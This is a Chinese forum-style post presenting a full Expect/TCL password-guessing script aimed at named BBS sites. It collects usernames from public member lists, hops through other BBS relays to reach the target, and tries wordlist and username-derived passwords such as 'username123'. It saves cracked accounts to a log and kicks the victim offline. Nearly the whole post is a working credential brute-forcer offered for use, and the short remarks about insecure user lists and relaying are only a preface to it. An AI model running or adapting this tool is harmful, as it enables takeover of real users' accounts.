用expect写的bbs猜密码工具


过程是这样的:先在目标站点的合法用户列表中把用户的名字存到文件中。

然后通过其他站点的bbs转接功能,连接目标站点。展开工作。

本例通过蓝天--》东管--》网易

(这说明bbs站把所有用户列表列出来,是个不安全的做法,

bbs的转接功能提供了方便

expect是TCL语言的一个扩展,在许多平台都有实现,可以去网上找。

例如winnt,win2000,和linux

本列用的是win2000,如果要用在linux,把文件的路径改成linux下的路径就可以用了

把sendlist中的YOURNAME,和PASSWORD改成你自己的登陆用户。

下面是代码:(不过意思有点乱,各位将就着看吧)

##cut here###################################


###-----------------------------------------------------------------###

###参量设置

###参量说明:HostName要登陆的机器;userfile用户列表

# wordfile密码列表 logfile结果记录

# offsetfile用户文件当前偏移量

###-----------------------------------------------------------------###

set HostName "bbs.gznet.com"

set userfile "C:\\Program Files\\Expect-5.21\\script\\nease\\user-nease.txt"

set wordfile "C:\\Program Files\\Expect-5.21\\script\\word.txt"

set logfile "C:\\Program Files\\Expect-5.21\\script\\nease\\log-nease.txt"

set offsetfile "C:\\Program Files\\Expect-5.21\\script\\nease\\offset.txt"


###-----------------------------------------------------------------###

#Action函数输入expect列表和send列表,然后完成动作过程

#成功返回1,超时返回-1

###----------------------------------------------------------------###

proc Action {ExpectList SendList} {


set listlength [llength $ExpectList];

if {$listlength!=[llength $SendList]} {

puts "the expectlist !=sendlist";

exit 0;}


for {set i 0} {$i<$listlength} {incr i} {


expect {

[lindex $ExpectList $i] {send [lindex $SendList $i];}

timeout {return -1}

}

}

return 1

}


###-----------------------------------------------------------------###

#MyTrap函数在程式被中断时的工作

###-----------------------------------------------------------------###

proc MyTrap {} {

global userfileid

global wordfileid

close $userfileid;

Reset;

exit

}


###-----------------------------------------------------------------###

#SaveToLog函数将猜中的用户和密码保存到文件

###-----------------------------------------------------------------###

proc SaveToLog {user word} {

global logfile

set logfileid [open $logfile a 0600]

puts $logfileid "user=$user password=$word";

close $logfileid;

}


###-----------------------------------------------------------------###

#QuitBbs函数是离开bbs,超时未能离开时,reset,然后返回 -1

###-----------------------------------------------------------------###

proc QuitBbs {} {

send "\r";

expect {

"..." { send "\r\r\r\r\rg\r";

send "!\r\n!\r\n!\r\n!\r\n!\r\n";

} #"!\r\n"是快速离站字符。

timeout {Reset;return -1}

}

}

###-----------------------------------------------------------------###

#Reset函数将旧的进程杀掉,并等待其结束后返回

###-----------------------------------------------------------------###

proc Reset {} {

global pid;

exp_kill $pid;

expect eof;

wait -1;

}

###-----------------------------------------------------------------###

#Breakinto函数,暴力破解

###-----------------------------------------------------------------###

proc Breakinto {user wordlist index} {

expect {

"):" {send "$user\r";}

"Connection closed by foreign host" {return 0} #返回0值,说明被正常关闭连接

timeout {Reset;return -1}

}

expect {

"错误的使用者" { send "\r\r"; return 1}

"请输入密码:" { send "[lindex $wordlist $index]\r";}

timeout { Reset;return -1}

}

expect {

"密码输入错误" { return [Breakinto $user $wordlist [expr $index+1]];

#这里是个递归过程

}


"ENTER" { SaveToLog $user [lindex $wordlist $index]; #猜中后,保存

QuitBbs; #并使该用户离开bbs站

return 1

}

timeout {Reset;return -1}

}


}

###-----------------------------------------------------------------###

#TryToLogin函数 从XX bbs站转接到XX站

###-----------------------------------------------------------------###

proc TryToLogin {user wordlist index} {


expect {


"返回)" { send "15\r";} #这是蓝天到东莞的BBS连接服务

timeout { Reset;return -1;}

}


return [Breakinto $user $wordlist $index];

}

###-----------------------------------------------------------------###

#Go函数是暴力破解的循环主体

#发动过程是:调用TryToLogin函数从XX站的bbs网络连接,循环地用不同用户去连接XX站

#凡是返回-1值,就说明有错,就reset

###-----------------------------------------------------------------###

proc Go {userfileid wordlist} {

global offsetfile


set flag 0;

while {[gets $userfileid user]>0} {


#记录用户文件的偏移量

set offsetfileid [open $offsetfile w 0600]

puts $offsetfileid [tell $userfileid]

flush $offsetfileid

close $offsetfileid

#生成username+123和username+111的密码

set word1 [join [concat $user "123"] ""];

set word2 [join [concat $user "111"] ""];

set tempwordlist [linsert $wordlist 0 $word1 $word2];


set index 0;

while {1} {

set flag [TryToLogin $user $tempwordlist $index];

if {$flag!=0} break;

set index [expr $index+3]

if {$index>[llength $tempwordlist]} break;


}

if {$flag==-1} {return 0;}


}


return 1;

}

###-----------------------------------------------------------------###

### main函数

###-----------------------------------------------------------------###

#进入蓝天站的响应列表

set expectlistGZ [list "):" ":" "ENTER" "..." "上次连线" "..." "精华公布" "请选代号"];

set sendlistsGZ [list "YOURNAME\r" "PASSWORD\r" " \r" "\r" "\r" "\r" "s\r" "2\r"];

###-----------------------------------------------------------------###

#进入东莞站的响应列表

set expectlistDG [list "login:" "):" ":" "ENTER" "..." "..." "上次连线" "..." "(G)oodBye" ];

set sendlistDG [list "bbs\r" "YOURNAME\r" "PASSWORD\r" "\r" "\r" "\r" "\r" "\r" "\033\[A\033\[A\r" ];

###-----------------------------------------------------------------###

#打开用户文件和密码文件

set userfileid [open $userfile r 0600]

set wordfileid [open $wordfile r 0600]


#读出密码文件,生成密码列表wordlist

foreach word [split [read $wordfileid] \n] {


lappend wordlist $word;

}

close $wordfileid;


#读出用户文件偏移量,并使文件指针指到偏移量处

set offsetfileid [open $offsetfile r 0600]

gets $offsetfileid Offset

seek $userfileid $Offset start

close $offsetfileid

set timeout 15

set pid 0; #spawn出来的进程id,在Reset函数中有调用到


trap MyTrap {SIGINT SIGTERM}


while {1} {

set pid [spawn telnet $HostName]


expect {

"广州蓝天站欢迎你" { if {[Action $expectlistGZ $sendlistGZ]==-1} {Reset;continue;}}

#Action返回-1说明登陆时超时失败,要reset,然后再循环

timeout { Reset;continue} #连接超时要reset,然后循环

}


expect {

"Escape character" { if {[Action $expectlistDG $sendlistDG]==-1} {Reset;continue;}}

#Action返回-1说明登陆时超时失败,要reset,然后再循环

timeout { Reset;continue} #连接超时要reset,然后循环

}

if {[Go $userfileid $wordlist]} break; #进入站后开始猜密码

}

puts "ok!"


####cut here#######################

我要赶快把自己帐号的密码改长一点了。;)